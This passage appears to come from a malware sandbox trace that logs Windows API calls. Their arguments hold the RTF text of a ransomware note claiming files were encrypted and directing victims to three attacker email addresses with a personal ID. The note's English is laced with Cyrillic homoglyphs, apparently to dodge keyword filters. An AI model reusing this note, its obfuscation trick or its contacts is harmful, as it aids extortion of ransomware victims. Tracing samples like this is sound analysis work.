r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 